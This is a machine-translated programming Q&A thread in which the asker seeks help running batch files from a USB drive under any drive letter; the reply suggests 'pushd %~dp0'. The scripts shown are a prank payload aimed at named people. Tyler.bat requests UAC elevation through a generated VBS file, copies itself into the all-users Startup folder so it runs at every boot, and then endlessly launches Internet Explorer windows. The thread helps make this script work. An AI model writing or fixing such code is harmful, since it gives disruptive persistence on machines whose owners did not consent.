0
我把這兩個批處理文件放在USB驅動器上,我需要找到一種方法使Tyler.bat具有正確的路徑,以便當我從USB驅動器調用Tyler.bat時,它將讀取USB驅動器並用正確的路徑加載Tyler.bat,然後按照其命令進行操作。如何使一個批處理文件從USB驅動器的任何驅動器號運行?
我想知道如何在不更改驅動器名稱的情況下做到這一點。
Zieske.bat
@echo off
echo Who are you?
set /p answer=
if /i "%answer%"=="Tyler" (call Tyler.bat)
if /i "%answer%"=="Tyler Zieske" (call Tyler.bat)
if /i "%answer%"=="Pediatric Gynocologist" (call Tyler.bat)
echo Welcome %answer%!
pause
Tyler.bat TY的回答
@echo off
REM Run shell as admin (example) - put here code as you like
REM Check Windows Version
ver | findstr /i "5\.0\." > nul
IF %ERRORLEVEL% EQU 0 goto :ver_2000
ver | findstr /i "5\.1\." > nul
IF %ERRORLEVEL% EQU 0 goto :ver_XP
ver | findstr /i "5\.2\." > nul
IF %ERRORLEVEL% EQU 0 goto :ver_2003
ver | findstr /i "6\.0\." > nul
IF %ERRORLEVEL% EQU 0 goto :ver_Vista
ver | findstr /i "6\.1\." > nul
IF %ERRORLEVEL% EQU 0 goto :ver_Win7
goto warn_and_exit
:ver_Win7
if exist "c:\programdata\microsoft\windows\start menu\programs\startup\tyler.bat" (
goto :yes
) else (
goto :beginning7
)
goto :ver_Win7
:ver_Vista
if exist "c:\programdata\microsoft\windows\start menu\programs\startup\tyler.bat" (
goto :yes
) else (
goto :beginning_Vista
)
goto :ver_Vista
:ver_2003
cd "c:\documents and settings\all users\start menu\programs\startup"
if exist "tyler.bat" (
goto :yes
) else (
goto :beginning2003
)
goto :ver_2003
:ver_XP
cd "c:\documents and settings\all users\start menu\programs\startup"
if exist "tyler.bat" (
goto :yes
) else (
goto :beginningXP
)
goto :ver_XP
:ver_2000
cd "c:\documents and settings\all users\start menu\programs\startup"
if exist "tyler.bat" (
goto :yes
) else (
goto :beginning2000
)
goto :ver_2000
:warn_and_exit
echo Machine OS cannot be determined.
pause
:beginning7
CLS
ECHO.
ECHO =============================
ECHO Running Admin shell
ECHO =============================
:checkPrivileges
NET FILE 1>NUL 2>NUL
if '%errorlevel%' == '0' (goto gotPrivileges) else (goto getPrivileges)
:getPrivileges
if '%1'=='ELEV' (shift & goto gotPrivileges)
ECHO.
ECHO **************************************
ECHO Invoking UAC for Privilege Escalation
ECHO **************************************
setlocal DisableDelayedExpansion
set "batchPath=%~0"
setlocal EnableDelayedExpansion
ECHO Set UAC = CreateObject^("Shell.Application"^) > "%temp%\OEgetPrivileges.vbs"
ECHO UAC.ShellExecute "!batchPath!", "ELEV", "", "runas", 1 >> "%temp%\OEgetPrivileges.vbs"
"%temp%\OEgetPrivileges.vbs"
exit /B
:gotPrivileges
::::::::::::::::::::::::::::
:START
::::::::::::::::::::::::::::
setlocal & pushd .
copy tyler.bat "c:\programdata\microsoft\windows\start menu\programs\startup\tyler.bat"
goto yes:
:beginning_Vista
goto beginning7
:beginningXP
CLS
ECHO.
ECHO =============================
ECHO Running Admin shell
ECHO =============================
:checkPrivileges
NET FILE 1>NUL 2>NUL
if '%errorlevel%' == '0' (goto gotPrivileges) else (goto getPrivileges)
:getPrivileges
if '%1'=='ELEV' (shift & goto gotPrivileges)
ECHO.
ECHO **************************************
ECHO Invoking UAC for Privilege Escalation
ECHO **************************************
setlocal DisableDelayedExpansion
set "batchPath=%~0"
setlocal EnableDelayedExpansion
ECHO Set UAC = CreateObject^("Shell.Application"^) > "%temp%\OEgetPrivileges.vbs"
ECHO UAC.ShellExecute "!batchPath!", "ELEV", "", "runas", 1 >> "%temp%\OEgetPrivileges.vbs"
"%temp%\OEgetPrivileges.vbs"
exit /B
:gotPrivileges
::::::::::::::::::::::::::::
:START
::::::::::::::::::::::::::::
setlocal & pushd .
copy tyler.bat "c:\documents and settings\all users\start menu\programs\startup"
goto :yes
:beginning2003
goto :beginningXP
:beginning2000
goto :beginningXP
:yes
echo Hi Tyler!
pause
goto :Tyler
:Tyler
start iexplore.exe
goto :Tyler
cmd /k
例如
pushd %~dp0
...all the other code...
copy tyler.bat
...more other code...
例如實現爲代碼TY的回答(不知道是否是因爲goto變量,如果我需要把pushd命令複製到批處理文件)
zieske.bat
@echo off
pushd %~dp0
echo Who are you?
set /p answer=
if /i "%answer%"=="Tyler" (call Tyler.bat)
if /i "%answer%"=="Matt" (call Tyler.bat)
if /i "%answer%"=="Matthew" (call Tyler.bat)
if /i "%answer%"=="Matthew Tassin" (call Tyler.bat)
if /i "%answer%"=="Matt Tassin" (call Tyler.bat)
if /i "%answer%"=="Ryan" (call Tyler.bat)
if /i "%answer%"=="Ryan Ware" (call Tyler.bat)
if /i "%answer%"=="Tyler Zieske" (call Tyler.bat)
if /i "%answer%"=="Pediatric Gynocologist" (call Tyler.bat)
echo Welcome %answer%!
pause
tyler.bat
@echo off
pushd %~dp0
REM Check Windows Version
ver | findstr /i "5\.0\." > nul
IF %ERRORLEVEL% EQU 0 goto :ver_2000
ver | findstr /i "5\.1\." > nul
IF %ERRORLEVEL% EQU 0 goto :ver_XP
ver | findstr /i "5\.2\." > nul
IF %ERRORLEVEL% EQU 0 goto :ver_2003
ver | findstr /i "6\.0\." > nul
IF %ERRORLEVEL% EQU 0 goto :ver_Vista
ver | findstr /i "6\.1\." > nul
IF %ERRORLEVEL% EQU 0 goto :ver_Win7
goto warn_and_exit
:ver_Win7
if exist "c:\programdata\microsoft\windows\start menu\programs\startup\tyler.bat" (
goto :yes
) else (
goto :beginning7
)
goto :ver_Win7
:ver_Vista
if exist "c:\programdata\microsoft\windows\start menu\programs\startup\tyler.bat" (
goto :yes
) else (
goto :beginning_Vista
)
goto :ver_Vista
:ver_2003
cd "c:\documents and settings\all users\start menu\programs\startup"
if exist "tyler.bat" (
goto :yes
) else (
goto :beginning2003
)
goto :ver_2003
:ver_XP
cd "c:\documents and settings\all users\start menu\programs\startup"
if exist "tyler.bat" (
goto :yes
) else (
goto :beginningXP
)
goto :ver_XP
:ver_2000
cd "c:\documents and settings\all users\start menu\programs\startup"
if exist "tyler.bat" (
goto :yes
) else (
goto :beginning2000
)
goto :ver_2000
:warn_and_exit
echo Machine OS cannot be determined.
pause
:beginning7
CLS
ECHO.
ECHO =============================
ECHO Running Admin shell
ECHO =============================
:checkPrivileges
NET FILE 1>NUL 2>NUL
if '%errorlevel%' == '0' (goto gotPrivileges) else (goto getPrivileges)
:getPrivileges
if '%1'=='ELEV' (shift & goto gotPrivileges)
ECHO.
ECHO **************************************
ECHO Invoking UAC for Privilege Escalation
ECHO **************************************
setlocal DisableDelayedExpansion
set "batchPath=%~0"
setlocal EnableDelayedExpansion
ECHO Set UAC = CreateObject^("Shell.Application"^) > "%temp%\OEgetPrivileges.vbs"
ECHO UAC.ShellExecute "!batchPath!", "ELEV", "", "runas", 1 >> "%temp%\OEgetPrivileges.vbs"
"%temp%\OEgetPrivileges.vbs"
exit /B
:gotPrivileges
::::::::::::::::::::::::::::
:START
::::::::::::::::::::::::::::
setlocal & pushd .
pushd %~dp0
copy tyler.bat "c:\programdata\microsoft\windows\start menu\programs\startup\tyler.bat"
goto yes:
:beginning_Vista
goto beginning7
:beginningXP
CLS
ECHO.
ECHO =============================
ECHO Running Admin shell
ECHO =============================
:checkPrivileges
NET FILE 1>NUL 2>NUL
if '%errorlevel%' == '0' (goto gotPrivileges) else (goto getPrivileges)
:getPrivileges
if '%1'=='ELEV' (shift & goto gotPrivileges)
ECHO.
ECHO **************************************
ECHO Invoking UAC for Privilege Escalation
ECHO **************************************
setlocal DisableDelayedExpansion
set "batchPath=%~0"
setlocal EnableDelayedExpansion
ECHO Set UAC = CreateObject^("Shell.Application"^) > "%temp%\OEgetPrivileges.vbs"
ECHO UAC.ShellExecute "!batchPath!", "ELEV", "", "runas", 1 >> "%temp%\OEgetPrivileges.vbs"
"%temp%\OEgetPrivileges.vbs"
exit /B
:gotPrivileges
::::::::::::::::::::::::::::
:START
::::::::::::::::::::::::::::
setlocal & pushd .
pushd %~dp0
copy tyler.bat "c:\documents and settings\all users\start menu\programs\startup"
goto :yes
:beginning2003
goto :beginningXP
:beginning2000
goto :beginningXP
:yes
echo Hi Tyler, Ryan, or Matt!
pause
goto :Tyler
:Tyler
start iexplore.exe
goto :Tyler
cmd /k
,如果你能驗證語法/的pushd %~dp0
的位置是通過按Ctrl + F和pushd %~dp0
打字,我將非常感激正確。
嗯,我肯定需要後者也發生,但我需要的是文件中的tyler.bat文件的位置,有一部分它說'copy tyler.bat',我讀過對於某些情況下(無論何時你在Windows操作系統-vista(2003,XP,2000)),它將無法複製任何東西,除非你指定了它的文件路徑,例如x:\ tyler.bat – 2013-02-15 18:52:41
copy只要tyler.bat位於當前目錄中,tyler.bat就可以。驅動器號或其他路徑信息不是必需的。 –
ty733420
2013-02-15 18:56:04
檢查我的編輯真正快,我即將這樣做,我可以知道如果代碼類似乎正確。 – 2013-02-15 18:57:28